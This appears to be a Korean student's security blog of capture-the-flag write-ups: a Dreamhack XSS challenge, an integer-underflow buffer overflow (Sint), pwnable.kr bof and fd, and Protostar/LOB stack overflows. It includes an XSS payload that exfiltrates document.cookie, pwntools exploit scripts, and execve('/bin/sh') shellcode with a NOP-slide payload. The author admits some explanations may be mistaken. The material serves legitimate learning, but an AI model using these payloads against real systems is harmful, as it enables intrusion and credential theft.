초심자이기 때문에 하나부터 열까지 매우 세세하게 작성할 예정이다. 모든걸 이해하고 넘어가고 싶다. 다만 틀릴수도 있다.. !

 

파일이 깨지면 https://zzczzc123.notion.site/Dreamhack-XSS-1-45026e8388c0430a8751054d5a207024 로 가서 보자

 

문제분석


처음에 접속하게 되면

 

그림과 같은 페이지가 나오게 된다.

 

먼저 vuln(xss) page 부터 눌러보면 그림과 같이 뜨는걸 확인할 수 있다. 또 빨간박스를 보면 script가 들어가서 실행되는걸 확인할 수 있는데 이 말인 즉슨 XSS가 가능하다는 말이다.

vuln(xss) page 실행화면

 

두번째로 memo 실행화면이다. 하얀색 박스에 hello 라고 적하는걸 확인할 수 있다. vuln 페이지에 들어가서 XSS를 하면 하얀색 박스에 문구가추가되는것 같다. (한번 더 XSS해봤더니 또 hello 라고 뜨더라).

다음은 flag 페이지이다. 무언가 입력할 수 있는 박스가 하나 있고 입력을 하면 good 이라는 pop-up 창이 하나 뜬다. 그리고 memo에도 hello 문구가 또 추가된다. 여기에도 무슨 관계가 있구나 정도만 파악하고 넘어가자.

지금까지 내용을 정리하면 flag, memo, vuln 페이지에 어떠한 관계로 얽혀있는것 같고.. flag 페이지에 어떠한 값을 넣어야지 이 문제를 풀 수 있을것 같은 느낌이 든다.

그럼 그 느낌이 맞는지 소스코드를 보면서 확인해 보자

 

소스코드 분석


길다...

가장먼저 코드분석전에 어노테이션이라는걸 알게되었는데, 자세한 설명은 기타 다른 글에 뛰어난분들이 잘 정리하였으니 참고하고

어노테이션이 쓰인 @app.route("/flag", ........) 부분을 보면

/flag로 url 요청이 오면 해당 함수를 실행하겠다 라는 의미이다. (@app.route(”/flag”)

 

이 문제의 핵심은 FLAG 키값을 읽어오는 것이다

 

위에서 이야기했듯 flag 부분에 뭘 넣으면 될 것 같으니 일단 그부분 부터 보자

@app.route("/flag", methods=["GET", "POST"]) def flag():     if request.method == "GET":         return render_template("flag.html")     elif request.method == "POST":         param = request.form.get("param")         if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):             return '<script>alert("wrong??");history.go(-1);</script>'          return '<script>alert("good");history.go(-1);</script>'

 

코드를 대략적으로 분석해보면 POST 메소드로 요청이 오면 request.form.get("param")을 통해 param값을 설정하고 조건문으로 들어가게 된다.

 

그 조건문에서 check_xss(param, {"name": "flag", "value": FLAG.strip()}) 구문을 통해 check_xss 함수를 호출하게 되는데 check_xss 함수를 살펴보면

def check_xss(param, cookie={"name": "name", "value": "value"}):     url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"     return read_url(url, cookie)

이렇게 되어있다.

자 !

 

if not check_xss(param, {"name": "flag", "value": FLAG.strip()}) 여기서 넘겨주는 값은

  1. param, 2. {"name": "flag", "value": FLAG.strip()}) 인데, check_xss에서 인자를 받는걸 보면

check_xss(param, cookie={"name": "name", "value": "value"}): 이므로

param == param , {"name": "flag", "value": FLAG.strip()}) == cookie 인걸 확인할 수 있다.

 

정리하면 클라이언트 측 flag 페이지에서 어떤값을 입력해서 보내면, flag 함수가 있는 서버단에서 param과 cookie 값을 세팅해서 check_xss 함수로 넘겨준다. 그런데 세팅된 cookie 값은 flag다.

 

그러면 현재 check_xss() 함수의 url 변수에 저장되어 있는 값은

 

url = f"http://127.0.0.1:8000/vuln?param=우리가flag 페이지에서 입력한값 이 되게 되어진다.

이 상태에서 다시 read_url() 로 url, cookie 를 넘겨주게 되는데 .. 그렇다면 read_url() 을 봐보자

 

def read_url(url, cookie={"name": "name", "value": "value"}):     cookie.update({"domain": "127.0.0.1"})     try:         options = webdriver.ChromeOptions()         for _ in [             "headless",             "window-size=1920x1080",             "disable-gpu",             "no-sandbox",             "disable-dev-shm-usage",         ]:             options.add_argument(_)         driver = webdriver.Chrome("/chromedriver", options=options)         driver.implicitly_wait(3)         driver.set_page_load_timeout(3)         driver.get("http://127.0.0.1:8000/")         driver.add_cookie(cookie)         driver.get(url)     except Exception as e:         driver.quit()         # return str(e)         return False     driver.quit()     return True

인자로는 url, cookie를 받고 있다.!!

 

코드를 자세히 보면 보면 윗부분은 드라이버를 세팅해주는 내용인것 같고..

 

봐야할 부분은

 

driver.add_cookie(cookie) , driver.get(url) 이 두부분인것 같다. check_xss로 부터 들어온 인자값을(url, cookie) 값을 추가하고 True 값을 리턴해 준다. True 값을 리턴해 주므로

 

@app.route("/flag", methods=["GET", "POST"]) def flag():     if request.method == "GET":         return render_template("flag.html")     elif request.method == "POST":         param = request.form.get("param")         if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):             return '<script>alert("wrong??");history.go(-1);</script>'          return '<script>alert("good");history.go(-1);</script>'

맨 아래 코드가 실행되게 된다.

 

코드의 전체적인 흐름과 문제가 의도한 내용은 지금까지 파악을 해 보았다.. flag 페이지에서 입력값 이랑 FLAG 값을 각각 param, coockie로 설정해서 chec_xss 넘겨주고check_xss에서 url을 설정 후 read_url 에서 url, cookie 세팅을 해주게 되고 true 값을 반환하는것 ..

 

아니 알겠는데 그래서 어떻게 해야하는데? 이게 vuln(xss) page 페이지에서 xss 일어나는거랑 무슨상관인데?

 

chec_xss 코드를 다시 봐보자

def check_xss(param, cookie={"name": "name", "value": "value"}):     url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"     return read_url(url, cookie)

url을 유심히 봐보면 /vuln?param= 을 볼 수 있을것이다. /vuln 함수가 실행된다 !!

 

결국 위의 과정들(flag페이지에서 입력→ chec_xss 함수 호출 → read_url 함수 호출) 이 일어나는데 read_url 에서 /vuln 페이지를 다시 요청하므로 XSS취약점이 있는 vuln(xss) page에서 스크립트(우리가 flag 페이지에 입력한 값)가 실행되어 진다.

 

자 다왔다..

 

결국 중요한건 flag 값을 찾는건데.. cookie에 flag 값이 설정되어있다.. 그렇다면 어떻게 해야할까.. 어떤 스크립트를 써야 내부적으로 실행되어진 스크립트를 통해 cookie 값을 클라이언트 측에서 볼 수 있을까 ?

 

location 객체의 href 를 쓰면 된다. (다른게 있을수도 있다.. )

 

그리고 왜 존재하는지 몰랐던 memo 페이지를 사용하면 된다.

 

url = f"http://127.0.0.1:8000/vuln?param=

 

이게 지금 url 인데 여기에 파라미터값을 다음과 같이 주면 어떻게 될까

 

<script>location.href=”http://127.0.0.1:8000/memo?memo=”+document.cookie</script>

 

이 값을 넘겨주게 되면 최종적으로 check_xss 함수에서 세팅되는 url 값은

 

url = f"http://127.0.0.1:8000/vuln?param=<script>location.href=”http://127.0.0.1:8000/memo?memo=”+document.cookie</script>

 

이 되어진다. 따라서 XSS 가 가능한 vuln코드에서 <script>가 실행되어 지고 스크립트 내용을 통해 memo에 cookie 내용이 입력되어지게 된다...

 

왜 memo?memo= 에 입력을 하냐면 메모 페이지에 들어가서 보니 입력을 받는 인자가 아래 그림과 같았다.

 

길었다..끝이다.

 

 

 

 

1. Introduction


이 프로그램은 자료형과 overflow를 탐지하는 검증 메커니즘의 오류로 발생하는 취약점임

 

2. Static Analysis


처음 본 순간 어떻게 주소를 조작해서 get_shell() 을 호출하면 될것같다고 생각했다.

 

주어진 조건을 보면 buf[256] 으로 설정되어 있고, size는 256 넘게 입력할 경우 조건문 안으로 빠지게 되어 프로그램이 종료된다.

 

그러나 조건문은 or 문으로 되어있고 그 조건은 size > 256 || size<0 이다.

 

그러면 만약 size가 0 이면? 조건문에 걸리지 않아서 통과가 된다 ..

 

근데 size가 0이면 입력을 못받는거 아닌가 ?

 

read() 부부을 보면 size-1 만큼을 버퍼로 읽는걸 확인할 수 있다.

 

read 함수의 원형을 보면 read (int fd, void *buf, size_t len) 다음과 같다

 

  1. int fd는 파일 디스크립터
  1. void *buf 는 읽은 데이터를 저장할 메모리 공간
  1. size_t len 은 읽을 데이터의 크기

 

int size =0 일경우 size-1 을 하게되면 integer 범위가 넘어가게 된다. (2의 보수 계산)

 

정리하면

0을 넣어줌으로써 overflow 탐지 조건문을 넘어간다. 그 후 interger overflow를 이용해 ( 0을 입력할 경우 size-1의 크기만큼 read하는부분을 활용) 입력받는 버퍼의 크기를 늘리고 buffer overflow를 통해 get_shell 주소를 따내면 된다

#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h>  void alarm_handler() {     puts("TIME OUT");     exit(-1); }  void initialize() {     setvbuf(stdin, NULL, _IONBF, 0);     setvbuf(stdout, NULL, _IONBF, 0);      signal(SIGALRM, alarm_handler);     alarm(30); }  void get_shell() {     system("/bin/sh"); }  int main() {     char buf[256];     int size;      initialize();      signal(SIGSEGV, get_shell);      printf("Size: ");     scanf("%d", &size);      if (size > 256 || size < 0)     {         printf("Buffer Overflow!\n");         exit(0);     }      printf("Data: ");     read(0, buf, size - 1);      return 0; }

3. Dynamic Analysis


동적분석을 할게 없다 ..

 

4. Exploit code


from pwn import *  p = remote("host1.dreamhack.games","OOOOO") elf = ELF("./sint")  ''' information''' ebp = 0xffffd538 ret = 0xffffd53c buf = 0xffffd438  get_shell = elf.symbols["get_shell"]  p.recvuntil("Size: ") p.sendline('0') p.recvuntil('Data: ')  payload = "A"*256 payload +=p32(get_shell)  p.sendline(payload)  p.interactive()

'개인공부 > pwnable' 카테고리의 다른 글

pwnable.kr bof 문제  (0) 2019.10.21
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

pwnable.kr bof 문제입니당 

 

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

 

이문제는 바이너리랑 코드를 줍니당 

 

바이너리 받아서 chmod 755 bof 해서 실행파일로 만들어 줬습니당 

 

코드입니당.

 

main에서 0xdeadbeef 를 인자로 func 함수로 넘겨주고 

 

func 함수에서는 인자로 넘어온 key의 값이 0xcafebabe 와 같아지면 해결되는 문제입니다. 

 

get 함수에서 문자를 받아올때 문자 길이를 체크하지 않아서 bof 가 발생 가능한 원리입니당. 

 

bof source code 

 

일단 bof 를 실행시켜 보고 get 으로 문자열 받을때 브포를 걸어서 AAAA 입력값을 줬습니다. 

get에서 AAAA 입력

 

그리고 cmp 보면 ebp + 0x8 과 0xcafebabe 를 비교하고 있어 ebp + 0x8 값이 무엇인지 확인해 봤고 당연히 0xdeadbeef 임을 확인 했습니당 

ebp+0x8 확인

그리고 스택을 뒤져보니 

 

내가 입력한 AAAA 가 잘 들어가 있는걸 확인 하였고 ebp+0x8 (0xdeadbeef) 값도 확인이 잘 되었습니당.

 

여기서 deadbeef 가 스택에 들어있는 이유는 main 함수에서 func 함수에게 인자로 deadbeef 를 넘겨줬기 떄문에 func 함수가 실행되면 인자가 스택에 들어가는 겁니당 . 

 

그래서 우리의 목표는 저 deadbeef 를 cafebabe 로 바꿔야 하기때문에 크기를 계산해줬습니당 

 

0xffffd320 - 0xfffd2ec = 0x34

 

hex 니까 dec 로 바꾸면 52 즉 52바이트 만큼 더미를 채우고 cafebabe 를 뒤에 입력해주면 성공 ! 

Stack view 

 

그래서 서버에서 했는데 안되고 ;;

 

두번째 방식으로 했는데 되었습니당. 

 

이유가 뭔지 궁금하넹 .. 아시는 분은 댓글로 알려주세염 

'개인공부 > pwnable' 카테고리의 다른 글

[pwn] dreamhack Sint  (0) 2022.01.10
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

pwnable.kr 1번 (?) fd 입니당. 

 

저는 칼리 64비트에서 진행하였습니다 pwnable.kr 서버에 접속해서 하면 느려서 로컬로 다운받아와서 진행했습니당

 

로컬로 다운받는 방법은 

 

scp -P 2222 -r fd@pwnable.kr:/home/fd /root/Desktop/pwnable/(여기는 자기 경로) 입니당. 

 

소스코드를 봅니다. 

fd.c source code 

arg를 넣어줘야 실행되게 되어있네염 확인해 봅니다. 

 

 

arg 안넣었을때 출력

맞네용 대충 arg 를 넣어보면 

 

다음 사진과 같이 Linux file IO 에 대해 배워보라고 하네용

 

 

소스코드를 다시 봅니다.

fd.c source code 

 

arg[1] 로 들어온 값을 atoi function 을 통해 정수로 변환하고 0x1234(hex) 를 빼주고 있네요

그리고 int len =0; 으로 초기화 하고 len = read(fd , buf, 32); 로 읽어오네요 

 

read function 의 원형은 read(int fd, void *buf, siae_t nbytes) 로 fd(file Discriptor) 가 참조하는 파일의 오프셋에서 nbytes 만큼 읽어 buf에 저장하는 함수 입니당. 

 

그니까 여기서 보면 fd가 참조하는 파일의 오프셋에서 32bytes 만큼 읽어 buf 에 저장 하겠죵 

 

 

File Discriptor란 ! 

1. 운영체제에서 파일을 관리하기 위해 파일마다 부여한 번호 

2. 파일을 열게되면 번호가 파일에 부여되고 디스크립터 테이블에 저장 

3. 0 ~ 2 번은 이미 할당되에 있기 때문에 파일에 부여하는 번호는 3부터 시작 

 

이란 특징을 가지고 있으며 0 ~ 2 번은 차례대로 stdin(표준입력), stdout(표준출력) , stderr(표준에러)  를 나타냅니다 

 

 

다시 돌아와서 표준 입력 즉 read fd 가 0이 되게 만들어서 buf 에 LETMEWIN 을 입력할 수 있게 만들어 준다면 문제를 해결할 수 있겠네요 

 

앗 ! fd 는 처음에 arg[1]에 atoi 하고 -0x1234 하여 나오는 값이니까 -0x1234 가 답이겠네요! 

 

0 (File Descriptor) = x - 0x1234 

 

hex 값이니까 dec 로 바꿔주면 !

 

4660 입니다.

 

arg[1] 에 4660 을 줘서 실행시키면 fd 가 0이 되어 질테고 이는 read 함수의 file Descriptor 를 0으로 만듬으로써 표준 입력을 받게 하고, 입력으로 LETMEWIN 이라는 단어를 buf 에 저장하게 해서 최종적으로는 flag 를 획득하는 문제였습니당.

'개인공부 > pwnable' 카테고리의 다른 글

[pwn] dreamhack Sint  (0) 2022.01.10
pwnable.kr bof 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

5번 문제풀이 입니당 


먼저 소스코드를 보면 다음과 같아염 


원래 4번까지는 흐름을 바꿔서 실행시키면 됬는데 이건 그런게 없어요 


그러면 쉘코드를 작성해서 해야겠구나 생각했어요 



메인함수도 결국 호출되어 져서 실행되는 거고 


RET를 하면 원래 흐름으로 돌아가겠죠 ? 


그니까 예를들어 걸어가다가 (원래흐름 ) - 뛰어요( 메인 함수 호출) - 그리고 다시 걸어요.. 


음 예를 든게 더 이상한가 ? 


암튼 말하고자 하는 바는 메인함수도 결국 함수니까 다른곳에서 호출 되어진거고, 그러면 당연히 RET가 있다는 말이에요 


네네 그러면 어떻게 해야 할까요 ? 


저는 보고 NOP Slide를 떠올렸어요 


그래서 payload 구성을 어떻게 할꺼냐면 !


payload = buffer + Shell_addr + NOP + Shell_code 이렇게 할 꺼에요 


여기서 NOP ( \x90)을 넣는 이유는 공격의 성공률을 높이기 위함이라는데.. 저는 자세한 이유는 잘 모르겠어요 


페이로드 설명을 간단히 하면 


쉘코드를 메모리에 올리고 main Ret 주소를 찾은다음에


main Ret 가 쉘코드로 점프하게 하면 끝이에요 




그렇다면 우리가 해야 할 일은 무엇일까요 ?


첫번째로 main 의 RET를 찾아야 해요 


ret를 찾는 방법은 간단하고 앞에서 많이 했기 때문에 스킵할께요 ! (main ret offset 72)




두번쨰로 nop 가 들어가고 그 뒤의 shell_code 주소를 찾아야 해요 


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90CCCCCCCCCCCCCCCCCCCCCCCC


그래서 이렇게넣어준다음에 메모리 위치를 찾으려 했어요 


A , B, C 의 의미를 말씀드리면 


A = 버퍼를 채운거에요 , 그러므로 buffer size + ebp 겠죠 ?


B = 이게 원래 main ret 부분이에요 나중에 여기에 shell code address가 들어갈꺼에요


C = 쉘 코드 부분이에요 


그래서 메모리를 까보면 다음 사진과 같아여



근데 0x90 이 0x3039785c 로 들어가는데.. 왜그런지 모르겠어요 


쨌든 보면 0x7fffffffe290 주소에 CCCC ... 즉 shell code 가 들어간걸 확인할 수 있어요 


그래서 원하는것을 다 구해서 익스 짜서 돌렸는데 안먹어요 .. 


그래서 어태치 해서 디버깅 해봤어요 





근데 fe290에 원하는 값이 안들어가있는걸 확인해써요 (아 참고로 위 사진에선 NOP 빼고 B*100으로 넣었어요  그래서 42가 들어가있는거에요 )


fe290 말고 424242가 끝나는 지점 fe1b4부터 쉘코드가 올라가있는걸 확인했어요 


그래서 귀찮으니까 B*96개 넣고 fe1b0 을 shell_code address로 수정해써요 



그래서 성공해써요 


익스플로잇 스크립트는 다음과 가타여



from pwn import *


Shell_addr = p64(0x7fffffffe1b0)


buf =  ""

buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"

buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"

buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"

buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"



payload = "A"*72 + Shell_addr + "B"*96 + buf



p = process(['./stack5'])

p.sendline(payload)


print p.recvrepeat(1)

p.interactive()









'개인공부 > pwnable' 카테고리의 다른 글

pwnable.kr bof 문제  (0) 2019.10.21
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19
[protostar] stack2 문제풀이  (0) 2018.10.14

종강해서 다시 블로그 스타드 


풀었던건데 정리 못해놨던것들 쭉 정리할꺼임 


이번포스팅은 스택 4번 풀이임당.


코드는 다음과 같습니당.


RET - EBP - BUFFER 순으로 쌓이게 되는데 buffer를 가득 채워서 ebp를 넘어서 ret 부분에 win_addr 을 넣어주면 win 함수의 프린트문을 실행 시킬수 있어욤 


따라서 우리가 해야 할 일은


1. main ret 찾기 

2. win 함수addr 찾기 


이 두개밖에 없어요



그래서 gdb로 까봤습니당




여기서 첫번째로 win addr 의 주소를 확인할 수 있어요 


이제 main의 ret를 찾아봅시당 그래서 버퍼가 64로 선언되오 있었으니까 넘치도록 한 A100개 줘봤어요


그리고 ebp 의 주소도 확인 해보니 fe0f0 인데 0x41로 차있는걸 확인했어요 


넘쳤다는거죵


fe0f0 이 지금 ebp 주소로 되어 있고! 


A가 68개 들어갔을때 위치니까, 또 ebp 다음에 ret가 위치하고 있으니까


68 비트 채우고 (buffer + ebp ) ret부분에 win 함수 address를 넣어주면 될거라고 생각했어요



근데 안됬어요 ... 뭐가 문제지


64비트 문제인가. .하고 32비트로 돌려봤어요 



32비트에서 스택에 A를 68개 넣은 모습이에요 


\x00000000 드레그 된 부분이 ebp 라고 나오네요 그럼 0xbffff33f (0xb7df09a1) 이 ret라는걸 확인할 수 있고 


스택에 76만큼 채워넣어주고 win _addr 넣으면 된다는 결론이 나와요 


음 .... 32에선 잘 되는데 64에서는 왜 잘 안되지 .. 라고 고민을 하다가 


아마 32비트에서는 \x00000000 으로 들어가지만 64빝에서는 \x0000000000000000으로 들어가서 두자리를 먹나 생각이 들어요


정확한건 아니에요 .. 




그래서 4바이트 더 넣어주고 win_addr 넣어주니 정상적으로 되써요 .. 





'개인공부 > pwnable' 카테고리의 다른 글

pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack3 문제풀이  (0) 2018.11.19
[protostar] stack2 문제풀이  (0) 2018.10.14
[protostar] stack1 문제풀이  (0) 2018.09.16

stack3번 풀이쓰 


peda 와 pwntool 이용쓰 


설치법은 구글에 잘 나와이쓰


문제임


소쓰 코드임



보면 buffer 뒤에 (fp에) win_addr address 를 덮어 씌우면 될 거 같음 



그냥 실행시켜보면 그냥 끝남 ㅎ




일단 보면 ebp - 0xc 의 주소값과 비교를 해주고 이씀 


그게 아마 나중에 win_addr 의 값으로 쓰일 것임 



일단 페다로 보면 offset 위치가 64로 확인되고 0xbfff


페다 말고 실제로 메모리 까봐도 ebp - 0x c 의 주소가 0xbffff34c로 확인되고 거기에 0x41414141(aaaa)가 들어가있음을 확인 


그럼 64 바이트 만큼 버퍼 넣고 ebp-0xc 주소에 현재 0x41414141 이 들어가 있지만 win 함수 address가 들어가면 될거같음


win function의 address는 아래에서 확인 




나온 내용을 종합해보면 


1. ebp - 0xc 의 주소값이랑 비교해서 점프문 수행함 


2. 그 주소값이 근데 win 함수가 들어 가면 됨 


3. win 함수 주소는 0x080491a2 임


이 내용을 가지고 스크립트를 짜보면 다음과 같음 






이렇게 끝 


'개인공부 > pwnable' 카테고리의 다른 글

[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack2 문제풀이  (0) 2018.10.14
[protostar] stack1 문제풀이  (0) 2018.09.16
[protostar] stack0 문제풀이  (0) 2018.09.16

사이트 다시 열림 ㅅ ㅅ ㅅ ㅅ ㅅ ㅅ


아니 근데 LOB 왤케 그지같지 ? 


왜 안풀리는거야 분명 맞게 했는데 ...... 한문제로 몇일 날린듯. ...


넘 그지같다 ㅎㅎㅎ 


암튼 stack2 번 문제 풀이임당 



소스코드를 보면 다음과 같음




int 형 modified 변수 선언하고 


char 형 buffer 64 바이트만큼 잡아줌 


getenv 는 환경변수 가져오는건데 GREENIE 라는 환경변수가 null 이면 안됨 


암튼 그다음 가져온 환경변수를 variable 이라는 변수에 넣어줌 *


그리고 modified를 0으로 초기화 하고 


환경변수에 담긴 값을 복사해온 variable 이라는 변수에 있는 값을 buffer로 복사함 


그 후 modified 가 0x0d0a0d0a 를 수정해야 되는 문제임 


정리하면


1. 환경변수에 값을 입력해준다 ( null 이면 안되기 때문에 )


2. 그 후 환경변수에 입력된 값을 variable 이라는 변수로 복사한다


3. modified 는 0으로 초기화 


4. variable 변수에 저장된 값을 strcpy로 buffer 에 복사해 주는데, 길이 검증을 하지 않기 때문에 bof 발생 


5. 따라서 modified를 수정할 수 있음 (왜냐면 modified 위에 buffer가 쌓여 있기 때문에 ) 


이게 전체적인 문제의 핵심내용임 


그럼 풀어봅세 


일단 그냥 실행시켜 봤음 



역시나 GREENIE environment 설정이 안되있어서 오류가 남 


그래서 환경변수를 설정해 줬음 환경변수 설정하는 방법은 많이 있지만 그 중에 export 를 이용해 설정해 주었음 


그 후 버퍼가 64바이트 만큼 되어있고 그 아래에 modified가 있으니까 A 64개 넣고 modified 에 \x0d0a0d0a넣어주면 될 거 같아서 해봤음


근데 잘 안됨 .. 버퍼 뒤에 뭐가 또 있나.. ? gdb로 까보기로 함




일단 비교하는 곳에 브포 걸어놓고 


peda 기능인 pattern create 명령어를 통해 패턴을 100개정도 생성해줬음 (pattern create 100)


그 후 그 패턴을 다시 export GREENIE = ' INSERT CREATED PATTERN'  을 통해 넣어줌 


 그 후 다시 gdb에 브포 걸고 패턴에 있는 인자값을 넘겨주도록 실행시켜봄



RAX 에 0x41413341 이 들어가있고 패턴으로는 A3AA 가 들어가 있는걸 확인했음 


그 후 pattern offset A3AA를 통해 보면 



offset이 68 임을 확인했음 


그러면 이제 A를 68바이트 만큼 넣어주고 원하는 modified 값을 넣어주면 풀수 있음


후 길다.. 





ㄲㄲㄲㄲㄲㄲㄲㄲㄲㄲㄲㄲ끝!!!!!!!!!!!!!!!!








'개인공부 > pwnable' 카테고리의 다른 글

[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19
[protostar] stack1 문제풀이  (0) 2018.09.16
[protostar] stack0 문제풀이  (0) 2018.09.16
[pwnable]pwnable.kr 3번  (0) 2018.09.09

이거 LOB 단점이 비슷한 문제가 넘 많음


orc 랑 코드도 거의 똑같아서 그냥 사용했던 페이로드 사용하니까 쉘 딸수 있었음


이래서 ASLR 해야함 ㅡ ㅡ

 


3nd


'개인공부 > KShield' 카테고리의 다른 글

[LOB] 4번 goblin -> orc 풀이  (0) 2018.10.07
[LOB] 3번 cobolt -> goblin 풀이  (0) 2018.10.07
[LOB] 2번 gremlin -> cobolt  (0) 2018.10.06
[LOB 1번] gate - > gremlin  (0) 2018.10.06
[FTZ] 풀이  (1) 2018.09.28

이 문제에서 제일 제일 많이 헤맸음 


아니 내 생각대로 해도 될거같은데 자꾸 안되가지고 ..... 


결국 타협하고 다시 풀음



소스코드가 다음과 같음 


가장 중요하게 봐야할건 두가지임 


버퍼 사이즈, 조건문 


버퍼 사이즈를 왜 중요하게 봐야하는 지는 bof 공부하는 사람이라면 다 알거라고 생각함 


두번째로 조건문 , 저 조건문 만족 못시키면 프로그램 종료임 


근데 사실 저 조건문 중요하긴 한데 너무 당연하게 만족시킬 수 있어서 별로 신경 안씀 


그냥 실행시키면 다음과 같이 뜸



스택이랑 친구하기 싫은뎅 ... 


어찌되었든 사진이 많이 생략되었는데 .. 캡쳐를 못했음 


gdb로 까보면 아마 스택프레임이 44바이트로 잡힐꺼임


페이로드는 아래 사진과 같음 


NOP * 44 + Shellcode_address + NOP + Shellcode 








'개인공부 > KShield' 카테고리의 다른 글

[LOB] 5번 orc -> wolfman 풀이  (0) 2018.10.07
[LOB] 3번 cobolt -> goblin 풀이  (0) 2018.10.07
[LOB] 2번 gremlin -> cobolt  (0) 2018.10.06
[LOB 1번] gate - > gremlin  (0) 2018.10.06
[FTZ] 풀이  (1) 2018.09.28

+ Recent posts